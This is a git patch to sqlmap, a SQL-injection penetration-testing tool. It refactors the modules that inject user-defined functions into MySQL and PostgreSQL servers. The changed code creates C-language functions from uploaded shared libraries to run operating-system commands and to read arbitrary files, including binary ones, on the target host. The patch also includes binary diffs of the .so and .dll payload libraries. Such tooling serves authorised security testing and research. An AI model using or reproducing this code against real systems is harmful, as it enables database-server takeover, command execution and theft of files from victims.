From 89dc99188d3e2a7849e54c576029d88dc8aa8867 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Thu, 11 Feb 2010 22:57:50 +0000 Subject: [PATCH] --read-file on PostgreSQL now relies on the new sys_fileread() UDF so that also binary files can be read. Fixed a minor bug in custom UDF injection feature --udf-inject. Major code refactoring. --- lib/takeover/abstraction.py | 2 +- lib/takeover/udf.py | 42 +++++---- plugins/dbms/mysql.py | 29 +++--- plugins/dbms/postgresql.py | 83 +++++------------- plugins/generic/filesystem.py | 7 +- .../linux/8.3/lib_postgresqludf_sys.so | Bin 4508 -> 5696 bytes .../linux/8.4/lib_postgresqludf_sys.so | Bin 4516 -> 5696 bytes .../windows/8.3/lib_postgresqludf_sys.dll | Bin 6144 -> 6656 bytes .../windows/8.4/lib_postgresqludf_sys.dll | Bin 6656 -> 6656 bytes 9 files changed, 63 insertions(+), 100 deletions(-) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index fd8c7b6aa..b464abae6 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -157,7 +157,7 @@ class Abstraction(Web, UDF, xp_cmdshell): logger.warn(warnMsg) if kb.dbms in ( "MySQL", "PostgreSQL" ): - self.udfInjectCmd() + self.udfInjectSys() elif kb.dbms == "Microsoft SQL Server": if mandatory: self.xpCmdshellInit() diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index b4ea8d62f..a4da409fc 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -35,6 +35,7 @@ from lib.core.dump import dumper from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.unescaper import unescaper from lib.request import inject from lib.techniques.outband.stacked import stackedTest @@ -89,21 +90,23 @@ class UDF: self.createSupportTbl(self.cmdTblName, self.tblField, dataType) def udfExecCmd(self, cmd, silent=False, udfName=None): - cmd = urlencode(cmd, convall=True) - if udfName is None: cmd = "'%s'" % cmd udfName = "sys_exec" + cmd = unescaper.unescape(cmd) + cmd = urlencode(cmd, convall=True) + inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): - cmd = urlencode(cmd, convall=True) - if udfName is None: cmd = "'%s'" % cmd udfName = "sys_eval" + cmd = unescaper.unescape(cmd) + cmd = urlencode(cmd, convall=True) + inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) inject.goStacked("DELETE FROM %s" % self.cmdTblName) @@ -116,23 +119,29 @@ class UDF: return output - def checkNeededUdfs(self): + def udfCheckNeeded(self): + if ( not conf.rFile or ( conf.rFile and kb.dbms != "PostgreSQL" ) ) and "sys_fileread" in self.sysUdfs: + self.sysUdfs.pop("sys_fileread") + if not conf.osPwn: self.sysUdfs.pop("sys_bineval") if not conf.osCmd and not conf.osShell and not conf.regRead: self.sysUdfs.pop("sys_eval") - def udfCreateFromSharedLib(self): - errMsg = "udfSetRemotePath() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException(errMsg) + if not conf.osPwn and not conf.regAdd and not conf.regDel: + self.sysUdfs.pop("sys_exec") def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" raise sqlmapUnsupportedFeatureException(errMsg) - def udfInjectCmd(self): - errMsg = "udfInjectCmd() method must be defined within the plugin" + def udfSetLocalPaths(self): + errMsg = "udfSetLocalPaths() method must be defined within the plugin" + raise sqlmapUnsupportedFeatureException(errMsg) + + def udfCreateFromSharedLib(self): + errMsg = "udfSetRemotePath() method must be defined within the plugin" raise sqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): @@ -157,6 +166,11 @@ class UDF: self.udfCreateSupportTbl(supportTblType) + def udfInjectSys(self): + self.udfSetLocalPaths() + self.udfCheckNeeded() + self.udfInjectCore(self.sysUdfs) + def udfInjectCustom(self): if kb.dbms not in ( "MySQL", "PostgreSQL" ): errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms @@ -286,7 +300,6 @@ class UDF: if isinstance(retType, str) and retType.isdigit(): logger.warn("you need to specify the data-type of the return value") - else: self.udfs[udfName]["return"] = retType break @@ -314,16 +327,13 @@ class UDF: while True: choice = readInput(msg) - if choice[0] in ( "q", "Q" ): + if choice and choice[0] in ( "q", "Q" ): break - - if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break - elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): break - else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 5a9153423..eda4cb278 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -64,7 +64,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): self.__datadir = None self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF return data-type + # UDF name: UDF return data-type "sys_exec": { "return": "int" }, "sys_eval": { "return": "string" }, "sys_bineval": { "return": "int" } @@ -534,7 +534,18 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): # paths specified in /etc/ld.so.conf file, none of these # paths are writable by mysql user by default self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - + + def udfSetLocalPaths(self): + self.udfLocalFile = paths.SQLMAP_UDF_PATH + self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) + + if kb.os == "Windows": + self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll" + self.udfSharedLibExt = "dll" + else: + self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so" + self.udfSharedLibExt = "so" + def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) @@ -548,21 +559,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) - - def udfInjectCmd(self): - self.udfLocalFile = paths.SQLMAP_UDF_PATH - self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) - if kb.os == "Windows": - self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll" - self.udfSharedLibExt = "dll" - else: - self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so" - self.udfSharedLibExt = "so" - - self.checkNeededUdfs() - self.udfInjectCore(self.sysUdfs) - def uncPathRequest(self): if not kb.stackedTest: query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index 3f54a4943..6b8624846 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -61,19 +61,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF parameters' input data-type and return data-type - "sys_exec": { - "input": [ "text" ], - "return": "int4" - }, - "sys_eval": { - "input": [ "text" ], - "return": "text" - }, - "sys_bineval": { - "input": [ "text" ], - "return": "int4" - } + # UDF name: UDF parameters' input data-type and return data-type + "sys_exec": { "input": [ "text" ], "return": "int4" }, + "sys_eval": { "input": [ "text" ], "return": "text" }, + "sys_bineval": { "input": [ "text" ], "return": "int4" }, + "sys_fileread": { "input": [ "text" ], "return": "text" } } Enumeration.__init__(self, "PostgreSQL") @@ -301,40 +293,12 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove raise sqlmapUnsupportedFeatureException, errMsg def stackedReadFile(self, rFile): - warnMsg = "binary file read on PostgreSQL is not yet supported, " - warnMsg += "if the requested file is binary, its content will not " - warnMsg += "be retrieved" - logger.warn(warnMsg) - infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) - result = [] + self.initEnv() - self.createSupportTbl(self.fileTblName, self.tblField, "bytea") - - logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile)) - - if kb.unionPosition: - result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False) - - if not result: - result = [] - count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2) - - if not count.isdigit() or not len(count) or count == "0": - errMsg = "unable to retrieve the content of the " - errMsg += "file '%s'" % rFile - raise sqlmapNoneDataException, errMsg - - indexRange = getRange(count) - - for index in indexRange: - chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False) - result.append(chunk) - - return result + return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread") def unionWriteFile(self, wFile, dFile, fileType, confirm=True): errMsg = "PostgreSQL does not support file upload with UNION " @@ -429,22 +393,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove # read/write/execute access is valid self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - def udfCreateFromSharedLib(self, udf, inpRet): - if udf in self.udfToCreate: - logger.info("creating UDF '%s' from the binary UDF file" % udf) - - inp = ", ".join(i for i in inpRet["input"]) - ret = inpRet["return"] - - # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) - - self.createdUdf.add(udf) - else: - logger.debug("keeping existing UDF '%s' as requested" % udf) - - def udfInjectCmd(self): + def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) @@ -469,8 +418,20 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer self.udfSharedLibExt = "so" - self.checkNeededUdfs() - self.udfInjectCore(self.sysUdfs) + def udfCreateFromSharedLib(self, udf, inpRet): + if udf in self.udfToCreate: + logger.info("creating UDF '%s' from the binary UDF file" % udf) + + inp = ", ".join(i for i in inpRet["input"]) + ret = inpRet["return"] + + # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) + + self.createdUdf.add(udf) + else: + logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 0d3677fa0..537d7e419 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -285,12 +285,7 @@ class Filesystem: fileContent = newFileContent - if kb.dbms in ( "MySQL", "Microsoft SQL Server" ): - fileContent = self.__unhexString(fileContent) - - elif kb.dbms == "PostgreSQL": - fileContent = self.__unbase64String(fileContent) - + fileContent = self.__unhexString(fileContent) rFilePath = dataToOutFile(fileContent) self.cleanup(onlyFileTbl=True) diff --git a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so index 3b7cebe1cbe64a1dedd46273559f0363b13af4a4..25eef4ee6fbb968751b3d1f61bd080900f6b5745 100755 GIT binary patch literal 5696 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 xV^G<3own?P%JOcp diff --git a/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so index 7cb3e6eaddbaa1d20a989cd02175ca8d2b2f00f1..24e0f8018bddf67a97532ae9e1f97f919abd08d4 100755 GIT binary patch literal 5696 zcmd^DYiv}<6&~9QY_PE%2O1MxFmyvntFEvi1d>R+ypR$nYQm$WJT`0luDy--!R|G$ z0>Rq2;^u18C=`jPq$)*iqY6-^Pzpprwrtr%BI+hkm9{@x6;hVsHjuc*X{_9S-`tsH zF(p-g^+(4#{?3{6&6&9~XJ+o*=L3z)ii(PaE+wKw(E5c}h`GSERjy~Qs1+VDOH3Bk z(y#f%nhICO(5MuyA4r|zMZikPSmiGUPDH(yENlw>9>`Pgn=OFbiuT_R&rC=e1j7{5 zA#A5hiBjZvppS>J%@q_42=-`=Gpk!cWh)K6LJHj9FMll#u~)J})bKy|VwP?8_Jw{ZsWrKgP!R8Xuzw6Yr`m6V z{ZfJd!BOqE!~Y_Z^dgYs;TRv|hDE6ocgg*DMkQ+%cJo5iCkov>Bxc-J8IH6YNh8!kYKvjULn$-Z5;8lYA{uIM zk2i~`5p7Ov6XAHmh>38@FrE`((`auO;pX;u$`E1MIvh_vCoquacq}ZU(NIF9%w&uW zw}c{QB7*ob0LU_GxYaOIBH@NWJJX1Y1VS02J<`!j-gFGf4hrbvH z_aWpV@dfyaUq;>$uhNgr6i0jFNrg4!!+w=~;Aw@2FvOUm4KJ;&q4?Id9@MH3T zPeF)N$ird2ga}TH!WBe}bvF@hjwt*I5f_!gxR8Xx?Gw6O^1iJ05Ttj9$VBBHMp5f|hJ#>K>KA>v%Vgf?Swk>-fFyatK507ro1 zc)?=q<6y70-d~v>^yE+@)^+wCKnQ#9kmERA@0nwAyuork{8xh*YuCNq>%766$T`F{ zVsQ>(V4{ucl|P}Ga|j)XHoC85VbZ~Ze%7qa9f8)_I}hIUVCC*Nd9jI(4R(5j9d?`L zb{bPBERQdD3^lgRlQfgAfu7l0jsFj1dxncM31`9eRBh%sTW1y*S!vRo@2AOd+bp=A z{7ZkD;fvCJmFqTc=;d?f{HW;c{S~GUk8JO)1s{(&$=*BcYNeSp>(IaRUb@e-ZbPqK z#Z6^(>Oo|Jq%RH$Sg0?U0MBB zAlud5QKehUF0SzQ#K6iJft%mj!2xFTtyCA8hJ`mH^;&_mC)tfVN@v$sDvnPqx3b+i zPsQo(isKDqF7EL>p8j(M)JYfjG(29E?kQUE>*s%$@hr4gpY8V)i_@4&$NH_j%dP9y zg%6M3csJcsVwI^U3-sAL&uT}eEWgueX)WT^G^rib6*KG{Sd`J(@vNjA^9mCen+ZNldmaE>?U9smNhJg9oWL@C;ZXFr$ z_~Zs-R-|)9nThjnWHF1}0$c}fBx2cg7rn?^F+Ix!KubE^eCkaPJLY4Ub}v%|UcElf zxl?3at&`BzoiS&MT|T`|KzF58Ub@^dr{o%D?F~bA$FRL~#2S>3h*a(ztU-g(4>;gv zYvPt{?aeIrSf-n-dNlo>IRfKmcz4`gxlbI2qqxk()tT5e$l9)J_%8>)F7wt9beSk8 zx#k}pwa(ng;t;T3BdO>kB%jBY!StG0u7v?)_OUUSwnT=^Gh|y^c7`eQ%E`dfDZbi8 zSgcOPQIllv$l~m?DLlN zl)*atxE?oiu=-{WuJ+nXZXP(FYl-p;(XTZeUyp39G`-fNYHMA)B{}5r$nz2B`#b+~ zoX*}gIBM*4C9@itIXUwN)y%P(T+j61JxvbpBgmHWj}VDXK>dfn?#ar zm@-=Nxc<@u=hbI$jL~-_wyL;uz!~pE_}V1MvDk zj7nVTq7f60*9Z|tJzhoR`ySsRui^B8OWHh;@VX$sqvsG;s%vb8nS;`{l zh5f=5iy?RμB)6z0B;M?Q0VMFEd{g~D-@$9<-GE1`3&2qX6@_v>uvx{$~6Bt-MJ zfKo|l|E@VW|kmEcfx47l?8i_kd@j92)(rREYjj=d1w zFTb5AJV$jQkFp=4c|0R26E#V3$U9iT<2fZ|6p!Z5Anad0FL?YN=ReKMVQ|>5F68|{ T8$j*TW7Dof;Qdk?1-yR)cR2pt delta 1829 zcmY*aU2IfE6rR1^z1{7-yX;@fLVq^7HHC*pL8`4r(FY+&Br&lXrTnzAB(2$XsVreN z;EJZE$WOo%H5x-gAOa>PBA}I6vbuz}5A>nIgh=9p30jE8Hqi$Q;re~o*``i%_B-D> zGiS~{b7r>OezNsQs&2+qszWLDUHGWutj<_UQ39~2s8T+FXKMsPf-poOSmgN)KoRqc z@D&@6zWv~u7%XWB3=E(aLA=>OKO_XqYb-G~_vc_fwVtL_ zJ+K*))Vv0`7!rXj)wU|MXvGF5sz%@vt%reJPam_Z?r~(IHvaLjt-^1?N+%aIOUzj8 zU$v#XMOGNewPWGWuEF}hF{areAiwIQ=9@JCRP)~umi}8x4jcEEu4?m}_-2}a(R?qE z{EX&TH2+caLDYx-+nV3e{<7w4H9xEQ4$Z&SeE)yzOX?$SIIR=l$#7Vh-~exUOsQ5N zH+)xf0#A7ZF~fL~VQ$r=B_aAtcU-?y`{ zHPctvm6M@BYdF`J&E~hM-1gkI9k0u&Ku!|o5_#BcE7hn!v7UQy>`V`!tNkj5oM?*< z44|)SRI}zWj~i+kILCSHi(05l8pkzGX>39?`ukB2;wsyq!HHP>4G~oyBcjFE;R{UM-Dik6jc17{Q7^C-_6!mH`TaMad*^rmG(J}K?5mV< z#Sh3|uImm>6#~<|#M9sNryVh0?3s|=!8OLldbt$bYurf6$>|Yuf*h7{)jyAel%6$`SVd>kD;<&Zy`B#9`g4+H@^qv;-fW=V__R!2S-uV zN+6Q)`h*WpH!6S=^Ee+gZ00>?MJ%FTL=av$_B-Dp6q&uuJBjmh-Fz1&pip`E)eLYB zS~qCJInpj zmTWP3FH@GRPdcFvsFZful}wwx(0VQTBuh-$D$Cn#%X?6HoBD0}3MwCttSvv)w;2GVp)FO5GrUkO6c82g#=l`|33dPg diff --git a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll index 7cb3eb4d2c76940929b1a67f7d464ae762d8f130..4d7c43b482b4f4c7b703eda383c9eff73dd78d0a 100755 GIT binary patch delta 3792 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 delta 3390 zcmYM1c~p~U_Q&5h>zfS%gd~svVNp<4Sq3m5$R^5`5C}xU5Rw3aY-V8@gx~~9X{1#d zs=TdRjs#bUt`WicJlscjKk3PcOGj@1JZv@KwPyuaw_oZlax^S$@E%X6M{o{|}~zdo#`MGd-Bil-G)HX1rF?>+{LV?_X>9$1j?x zuj}4yj(r^m{>o?krS#XDD-&0|>V4FkPT-^hKqiO;ba2+uH4nsGeTO@ki&z3Wl%NlI zy5lJ5kM3>&fbOJ^;)T003YC zz-9orn^?Wub`=1~tL8h7PDFUtX5i(UvZvm5Q% 